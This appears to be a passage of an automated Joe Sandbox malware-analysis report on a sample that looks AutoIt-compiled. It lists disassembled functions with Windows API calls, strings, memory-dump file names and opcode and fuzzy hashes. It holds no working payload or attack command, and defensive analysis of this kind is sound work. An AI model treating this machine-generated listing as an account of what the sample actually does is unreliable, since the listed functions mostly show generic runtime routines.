                                                          • Instruction ID: 47dc2a3269911fc7f14ef752bae633733ef36709ef6b12b0123788302f764e47
                                                          • Opcode Fuzzy Hash: 29ae47d2f4d76277ea007b50861b32d461969aac51db53bec070525940759fc2
                                                          • Instruction Fuzzy Hash: 9111B9713005096FEF15CF54EC81EBB3B6AFB84398F104125F51897290D635DC51A760
                                                          Function 00529958 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,?,?,00528734,?,?), ref: 00529974
                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00E09028,000000FF,00000000,00000000,00000000,00000000,?,?,00528734,?,?,?,00523FCC,0058E500), ref: 0052999F
                                                            • Part of subcall function 00512D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00519A24), ref: 00512D69
                                                            • Part of subcall function 00512D55: GetLastError.KERNEL32(00000000,?,00519A24), ref: 00512D7B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ByteCharMultiWide$ErrorFreeHeapLast
                                                          • String ID: {nQ
                                                          • API String ID: 116227490-1089960424
                                                          • Opcode ID: 44ffe96173d49b33c6d5f59f1b564286f32cdbc27a69944321460baea0d60397
                                                          • Instruction ID: 24d73e601fa0eabc989a035789edeaacb28dfc07c10549ac21bc84d970c352b5
                                                          • Opcode Fuzzy Hash: 44ffe96173d49b33c6d5f59f1b564286f32cdbc27a69944321460baea0d60397
                                                          • Instruction Fuzzy Hash: 6F112432505155BAEB219A6AFC05E6B7E7CEFC7B31F30025EF414E22D0DA719941E660
                                                          Function 00576C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 004F1D73
                                                            • Part of subcall function 004F1D35: GetStockObject.GDI32(00000011), ref: 004F1D87
                                                            • Part of subcall function 004F1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 004F1D91
                                                          • GetWindowRect.USER32(00000000,?), ref: 00576C71
                                                          • GetSysColor.USER32(00000012), ref: 00576C8B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                          • String ID: static
                                                          • API String ID: 1983116058-2160076837
                                                          • Opcode ID: 8fceb6594aacff6880917a0cffa48eb4f3697bf5a28498f4b5afcb16558309e1
                                                          • Instruction ID: 5777391d875d2a204f6212bd0971992d6a2f77f443e69e3df74518056391a7bf
                                                          • Opcode Fuzzy Hash: 8fceb6594aacff6880917a0cffa48eb4f3697bf5a28498f4b5afcb16558309e1
                                                          • Instruction Fuzzy Hash: 14212C7651020AAFDF05DFA8DC45EFA7BB8FB08314F004629F959D2250D635E850EB60
                                                          Function 00576920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetWindowTextLengthW.USER32(00000000), ref: 005769A2
                                                          • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 005769B1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LengthMessageSendTextWindow
                                                          • String ID: edit
                                                          • API String ID: 2978978980-2167791130
                                                          • Opcode ID: ce6874d2779f906432ad8f04238d2060bd3eab1fd0b60e37bcb503fbec51e488
                                                          • Instruction ID: a1075098b594fae2d4e2d7cbe5241da8a4202ca76b20f3c4021e59f0dc01ace1
                                                          • Opcode Fuzzy Hash: ce6874d2779f906432ad8f04238d2060bd3eab1fd0b60e37bcb503fbec51e488
                                                          • Instruction Fuzzy Hash: D1118F71100508AFEB108E74EC55AEB3B69FB153B4F508724FAA9971E0C735DC94B760
                                                          Function 005621D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0056222C
                                                          • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00562255
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Internet$OpenOption
                                                          • String ID: <local>
                                                          • API String ID: 942729171-4266983199
                                                          • Opcode ID: e21df5b34cd8a68041486cdd880941fd9e5d3b2d163eb297de578b7d024dc70d
                                                          • Instruction ID: 0afddcccf3fac6a3526cbcdf28095024198d70620b922b0b4176491573c8e8ae
                                                          • Opcode Fuzzy Hash: e21df5b34cd8a68041486cdd880941fd9e5d3b2d163eb297de578b7d024dc70d
                                                          • Instruction Fuzzy Hash: 9E110274505A25BADB288F11DCA8EBBFFA8FF16351F10862AFA1557100D2706994DAF0
                                                          Function 00548E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0054AABC
                                                          • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00548E73
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameSend
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 3678867486-1403004172
                                                          • Opcode ID: 0f047e6741d65fd1f326d326229d76d02a503988ad2f364757f1713c069e5ceb
                                                          • Instruction ID: 8c6579a913f8ad418bfecd2fba0dedfc44ef776c601fae9fcb5e56015594cbad
                                                          • Opcode Fuzzy Hash: 0f047e6741d65fd1f326d326229d76d02a503988ad2f364757f1713c069e5ceb
                                                          • Instruction Fuzzy Hash: 710124B164121DABCB14EBA1CC45CFE7B6CFF06324B400A1AF931672E2DE395818D650
                                                          Function 00548CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0054AABC
                                                          • SendMessageW.USER32(?,00000180,00000000,?), ref: 00548D6B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameSend
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 3678867486-1403004172
                                                          • Opcode ID: ee356bd6f73f0f04a78db365bd8c85573677aae643c699e54187835d93f1ba04
                                                          • Instruction ID: 23e9b488e247e71ed7a73f8931a0705517edfe1fe0770cb710e6ac9a398157cb
                                                          • Opcode Fuzzy Hash: ee356bd6f73f0f04a78db365bd8c85573677aae643c699e54187835d93f1ba04
                                                          • Instruction Fuzzy Hash: F001F7B1B4150DABCB14EBA1CD56EFE7BACEF15304F10041AB905632D1DE185E08D2B1
                                                          Function 00548D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0054AABC
                                                          • SendMessageW.USER32(?,00000182,?,00000000), ref: 00548DEE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameSend
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 3678867486-1403004172
                                                          • Opcode ID: bbafda0fcfcb1b29a47fd7d735b10892828965d9c0f43168235e7802cf3b2d21
                                                          • Instruction ID: 9fe9e2a91195e300770fb750ec696eaa2d280b28c55d193978252c5c1623a248
                                                          • Opcode Fuzzy Hash: bbafda0fcfcb1b29a47fd7d735b10892828965d9c0f43168235e7802cf3b2d21
                                                          • Instruction Fuzzy Hash: 350126B1B4210DBBCB14EBA5CD46EFE7BACEF15304F10041AB906632D2DE294E08E275
                                                          Function 0054C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VariantInit.OLEAUT32(?), ref: 0054C534
                                                            • Part of subcall function 0054C816: VariantInit.OLEAUT32(00000000), ref: 0054C882
                                                            • Part of subcall function 0054C816: VariantCopy.OLEAUT32(00000000,?), ref: 0054C88C
                                                          • VariantClear.OLEAUT32(?), ref: 0054C556
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$Init$ClearCopy
                                                          • String ID: d}Z
                                                          • API String ID: 1426616791-2712667583
                                                          • Opcode ID: f333e222702dc67844cf5b0529b6f1e6c52b5f264b391963c11e1899a8a53d62
                                                          • Instruction ID: ee350f36143ce63b5aa66b295ab0d5d3b883cc5e22fbb1394b990b896c3f9a12
                                                          • Opcode Fuzzy Hash: f333e222702dc67844cf5b0529b6f1e6c52b5f264b391963c11e1899a8a53d62
                                                          • Instruction Fuzzy Hash: A41100719007089FC720DF9AD88499AFBF8FF18314B50856FE58AD7611E771AA48CF54
                                                          Function 0052395E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00519C0B: EnterCriticalSection.KERNEL32(00000000,?,00519A7C,0000000D), ref: 00519C36
                                                          • DeleteCriticalSection.KERNEL32(sin,005AA390,00000010,00516BF7), ref: 005239BB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CriticalSection$DeleteEnter
                                                          • String ID: @B[$sin
                                                          • API String ID: 228587788-3018231147
                                                          • Opcode ID: d71c3c75b4e46516c1f8fa91e89de6815336d5963b3a23600089914deabe40ac
                                                          • Instruction ID: 91c52a0e572dafbe8c5060badaf06926a7f96285f2183f5e549a0dfb5ea464a8
                                                          • Opcode Fuzzy Hash: d71c3c75b4e46516c1f8fa91e89de6815336d5963b3a23600089914deabe40ac
                                                          • Instruction Fuzzy Hash: C701C8355006259BD716AF58E84AB6CBFA4FF96720F400246E091DB1E1CBB4D5C29B41
                                                          Function 0052B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00510940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0052B2F0,?,?,?,004F100A), ref: 00510945
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,004F100A), ref: 0052B2F4
                                                          • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,004F100A), ref: 0052B303
                                                          Strings
                                                          • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0052B2FE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
                                                          • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                          • API String ID: 55579361-631824599
                                                          • Opcode ID: 4d097bc002eae83fcba55564e08932872f2f27e937f3d8518b79a26c95a023ca
                                                          • Instruction ID: 1dd2d7fc5f3ff530c16fae8de68dd14665b534ab6d56474848697258448ef894
                                                          • Opcode Fuzzy Hash: 4d097bc002eae83fcba55564e08932872f2f27e937f3d8518b79a26c95a023ca
                                                          • Instruction Fuzzy Hash: 93E039742007118BEB60DF28E9083527FE8BF61314F008E2DE446C7281EBB4A888DBA1
                                                          Function 00547C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00547C82
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Message
                                                          • String ID: AutoIt$Error allocating memory.
                                                          • API String ID: 2030045667-4017498283
                                                          • Opcode ID: 0a56377fae6d8318724e799a2acf6d1c5c6da631f9696a04431a265425086cc3
                                                          • Instruction ID: 2a8971196f38e954831e7393907e98aa05aef9a7a3de12a3875467d3b4c3e822
                                                          • Opcode Fuzzy Hash: 0a56377fae6d8318724e799a2acf6d1c5c6da631f9696a04431a265425086cc3
                                                          • Instruction Fuzzy Hash: F0D0123238431C36E21532A56C0BBDA6E48AB55B56F140416BB08595D34ED549D152A9
                                                          Function 00531935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetSystemDirectoryW.KERNEL32(?), ref: 00531775
                                                            • Part of subcall function 0056BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0053195E,?), ref: 0056BFFE
                                                            • Part of subcall function 0056BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0056C010
                                                          • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0053196D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Library$AddressDirectoryFreeLoadProcSystem
                                                          • String ID: WIN_XPe
                                                          • API String ID: 582185067-3257408948
                                                          • Opcode ID: 453a018df8384b119d89bb69f3bb12b463415ed86bb0c2abf9676591934ffe7a
                                                          • Instruction ID: 2e16486c267a1735fc93dbdc4aaebc939846d08a1e8b6a9f7b612e8cd7fedc03
                                                          • Opcode Fuzzy Hash: 453a018df8384b119d89bb69f3bb12b463415ed86bb0c2abf9676591934ffe7a
                                                          • Instruction Fuzzy Hash: 6CF03970800009DFDB15DBA0C988AFCBBF8FB18300F580495E102E21A0C7759F89EF64
                                                          Function 00531714 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LocalTime
                                                          • String ID: %.3d$WIN_XPe
                                                          • API String ID: 481472006-2409531811
                                                          • Opcode ID: fe3b6972044bc07012952081c85936a786489e27c5a8df0a7e5c949d072740c1
                                                          • Instruction ID: 6c50f2e854e456f62f5abe4e8ce7e88a8f775c2b1ab407556f6fff4c5ce65ddd
                                                          • Opcode Fuzzy Hash: fe3b6972044bc07012952081c85936a786489e27c5a8df0a7e5c949d072740c1
                                                          • Instruction Fuzzy Hash: 77D0177180851DEADB009AA09C898F97F7CFB19301F180862B506E2040E6269B95EB29
                                                          Function 00575964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0057596E
                                                          • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00575981
                                                            • Part of subcall function 00555244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005552BC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FindMessagePostSleepWindow
                                                          • String ID: Shell_TrayWnd
                                                          • API String ID: 529655941-2988720461
                                                          • Opcode ID: df94db52edf8822397ea043ff3b88c70a63e6f2afc24d58059a83442d292f3e9
                                                          • Instruction ID: 8e2f1d9a8de560e0ae019d5f57dbe82b3fa0a7201d5972866d4fe5c1fc4a887f
                                                          • Opcode Fuzzy Hash: df94db52edf8822397ea043ff3b88c70a63e6f2afc24d58059a83442d292f3e9
                                                          • Instruction Fuzzy Hash: A6D0C935784311B7E664FB70AC1FFA66A54BB54B51F000829B649AE1D0E9E0A844D754
                                                          Function 00575998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 005759AE
                                                          • PostMessageW.USER32(00000000), ref: 005759B5
                                                            • Part of subcall function 00555244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005552BC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FindMessagePostSleepWindow
                                                          • String ID: Shell_TrayWnd
                                                          • API String ID: 529655941-2988720461
                                                          • Opcode ID: 0d1051f045155ae6f21ae19f107232e865591f7e49b195e0c090730dc0a25c7b
                                                          • Instruction ID: c48630aeefdf78804ce122b7226c00d72d65a8cfc534ad9661bb899bb7ee33f9
                                                          • Opcode Fuzzy Hash: 0d1051f045155ae6f21ae19f107232e865591f7e49b195e0c090730dc0a25c7b
                                                          • Instruction Fuzzy Hash: 20D0C931780311BBE664FB70AC1FF966A54BB55B51F000829B649AE1D0E9E0A844D754
                                                          Function 00524663 Relevance: 5.1, APIs: 4, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 005246F8
                                                          • GetLastError.KERNEL32 ref: 00524706
                                                          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00524759
                                                          • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00524794
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
